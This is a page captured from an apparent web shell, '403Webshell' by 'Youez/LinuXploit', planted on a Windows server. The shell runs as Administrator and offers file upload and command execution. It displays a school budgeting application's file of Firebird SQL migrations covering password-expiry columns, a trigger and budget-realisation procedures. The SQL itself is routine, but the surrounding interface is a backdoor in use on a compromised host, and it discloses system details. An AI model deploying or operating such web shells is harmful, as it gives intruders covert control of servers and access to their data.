403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/sipapbd_2021_sekolah/update/db/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/sipapbd_2021_sekolah/update/db/sql_script.db
<?php
$sql = array(
"ALTER TABLE KONFIGURASI ADD PASSWORD_EXPIRED Integer DEFAULT 0;",
"UPDATE KONFIGURASI SET PASSWORD_EXPIRED = 0 WHERE PASSWORD_EXPIRED IS NULL;",
"ALTER TABLE USERS ADD LAST_PWD_CHANGED Timestamp;",
"UPDATE USERS SET LAST_PWD_CHANGED = 'now' WHERE LAST_PWD_CHANGED IS NULL;",
"
CREATE TRIGGER T_USERS_PASSWORD_BIU FOR USERS
ACTIVE BEFORE INSERT OR UPDATE POSITION 50
AS
BEGIN
  if (old.passwd is not distinct from new.passwd) then exit;

  new.last_pwd_changed = 'now';
END
",
"ALTER TABLE RKA_DPA_SKPD_221 ADD PERIODE_AWAL Date;",
"ALTER TABLE RKA_DPA_SKPD_221 ADD PERIODE_AKHIR Date;",
"
ALTER PROCEDURE REALISASI_REKENING (
    TAHUN INTEGER,
    ID_SKPD INTEGER,
    ID_REKENING INTEGER,
    INCLUDE_CHILD INTEGER DEFAULT 0,
    PPKD INTEGER DEFAULT 0 )
RETURNS (
    NOMINAL DECIMAL(18,2) )
AS
declare variable kode_rekening varchar(50);
BEGIN
  select kode_rekening 
    from rekening 
    where id_rekening = :id_rekening
    into :kode_rekening;

  id_skpd = coalesce(id_skpd, 0);
  select coalesce(sum(rj.nominal), 0)
    from jurnal j
    join rincian_jurnal rj on rj.id_jurnal = j.id_jurnal
    where j.tahun = :tahun 
      and (:id_skpd = 0 and (:ppkd = 0 or (:ppkd = 1 and ((j.ppkd = 1 and j.draft in (5, 6)))) 
        or j.draft in (3, 4) ) or (:id_skpd = j.id_skpd and j.draft in (1, 2, 5, 6)))
      and ((:INCLUDE_CHILD = 0 and rj.kode_rekening = :kode_rekening) or 
           (:INCLUDE_CHILD > 0 and rj.kode_rekening starting with :kode_rekening))
    into :nominal;
  suspend;
END
",
"
ALTER PROCEDURE P_REALISASI_ANGGARAN (
    TAHUN INTEGER,
    ID_SKPD INTEGER,
    ID_KEGIATAN INTEGER,
    ID_REKENING INTEGER )
RETURNS (
    NOMINAL DECIMAL(18,2) )
AS
declare variable valid integer;
declare variable spp_ls decimal(18,2);
declare variable spp_tu decimal(18,2);
declare variable spjp decimal(18,2);
declare variable blj_upgu decimal(18,2);
declare variable spjp_upgu decimal(18,2);
declare variable mp decimal(18,2);
declare variable ssu_tu decimal(18,2);
declare variable cp decimal(18,2);
begin
  valid = null;

  select first 1 terbit, valid 
    from realisasi_anggaran
    where tahun = :tahun and id_skpd = :id_skpd 
      and ((:id_kegiatan is null and id_kegiatan is null) or id_kegiatan = :id_kegiatan)
      and id_rekening = :id_rekening
    into :nominal, :valid;
  if (valid is null or valid <> 1) then 
  begin
    select coalesce(sum(iif(s.keperluan = 'LS', rs.nominal, 0)), 0), coalesce(sum(iif(s.keperluan = 'TU', rs.nominal, 0)), 0)
      from aktivitas a
      join spp s on s.id_aktivitas = a.id_aktivitas 
      join rincian_spp rs on rs.id_aktivitas = s.id_aktivitas 
      where a.tahun = :tahun 
        and a.id_skpd = :id_skpd 
        and ((:id_kegiatan is null and rs.id_kegiatan is null) or rs.id_kegiatan = :id_kegiatan)
        and rs.id_rekening = :id_rekening
        and coalesce(s.verifikasi, 0) <> 1
      into :spp_ls, :spp_tu;

    select coalesce(sum(rs.nominal), 0)
      from aktivitas a
      join spjp s on s.id_aktivitas = a.id_aktivitas 
      join rincian_spjp_b rs on rs.id_aktivitas = s.id_aktivitas 
      where a.tahun = :tahun 
        and a.id_skpd = :id_skpd 
        and ((:id_kegiatan is null and rs.id_kegiatan is null) or rs.id_kegiatan = :id_kegiatan)
        and rs.id_rekening = :id_rekening
      into :spjp;

    select coalesce(sum(rb.nominal), 0)
      from aktivitas a
      join belanja b on b.id_aktivitas = a.id_aktivitas 
      join rincian_belanja rb on rb.id_aktivitas = b.id_aktivitas 
      where a.tahun = :tahun 
        and a.id_skpd = :id_skpd 
        and b.keperluan = 'UP'
        and ((:id_kegiatan is null and b.id_kegiatan is null) or b.id_kegiatan = :id_kegiatan)
        and rb.id_rekening = :id_rekening
      into :blj_upgu;

    select coalesce(sum(rp.nominal), 0)
      from aktivitas a
      join panjar p on p.id_aktivitas = a.id_aktivitas 
      join rincian_panjar rp on rp.id_aktivitas = p.id_aktivitas 
      where a.tahun = :tahun 
        and a.id_skpd = :id_skpd 
        and a.tipe = 'SPJ_PANJAR'
        and p.keperluan = 'UP'
        and ((:id_kegiatan is null and p.id_kegiatan is null) or p.id_kegiatan = :id_kegiatan)
        and rp.id_rekening = :id_rekening
      into :spjp_upgu;

    select coalesce(sum(rp.debet), 0)
      from aktivitas a
      join memo_penyesuaian m on m.id_aktivitas = a.id_aktivitas 
      join rincian_penyesuaian rp on rp.id_aktivitas = m.id_aktivitas 
      join rekening r on r.id_rekening = rp.id_rekening
      where a.tahun = :tahun 
        and rp.id_skpd = :id_skpd 
        and ((:id_kegiatan is null and rp.id_kegiatan is null) or rp.id_kegiatan = :id_kegiatan)
        and rp.id_rekening = :id_rekening
        and (r.tipe = '5' or (r.tipe = '6' and r.kelompok = '2'))
      into :mp;

    select coalesce(sum(rs.nominal), 0)
      from aktivitas a
      join setoran_sisa s on s.id_aktivitas = a.id_aktivitas 
      join rincian_setoran_sisa rs on rs.id_aktivitas = s.id_aktivitas 
      where a.tahun = :tahun 
        and a.id_skpd = :id_skpd 
        and s.keperluan = 'TU'
        and ((:id_kegiatan is null and rs.id_kegiatan is null) or rs.id_kegiatan = :id_kegiatan)
        and rs.id_rekening = :id_rekening
      into :ssu_tu;

    select coalesce(sum(rk.nominal), 0)
      from aktivitas a
      join kontra_pos k on k.id_aktivitas = a.id_aktivitas 
      join rincian_kontra_pos rk on rk.id_aktivitas = k.id_aktivitas 
      where a.tahun = :tahun 
        and a.id_skpd = :id_skpd 
        and ((:id_kegiatan is null and rk.id_kegiatan is null) or rk.id_kegiatan = :id_kegiatan)
        and rk.id_rekening = :id_rekening
      into :cp;

    nominal = spp_ls + spp_tu + spjp + blj_upgu + spjp_upgu + mp - ssu_tu - cp;
    if (valid is null) then begin
      insert into realisasi_anggaran (tahun, id_skpd, id_kegiatan, id_rekening, terbit, cair, pembukuan, valid)
        values (:tahun, :id_skpd, :id_kegiatan, :id_rekening, :nominal, 0, 0, 1);
    end
    else begin
      update realisasi_anggaran set terbit = :nominal, valid = 1
      where tahun = :tahun and id_skpd = :id_skpd and id_kegiatan = :id_kegiatan and id_rekening = :id_rekening;
    end
  end
  suspend;
end
"
);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit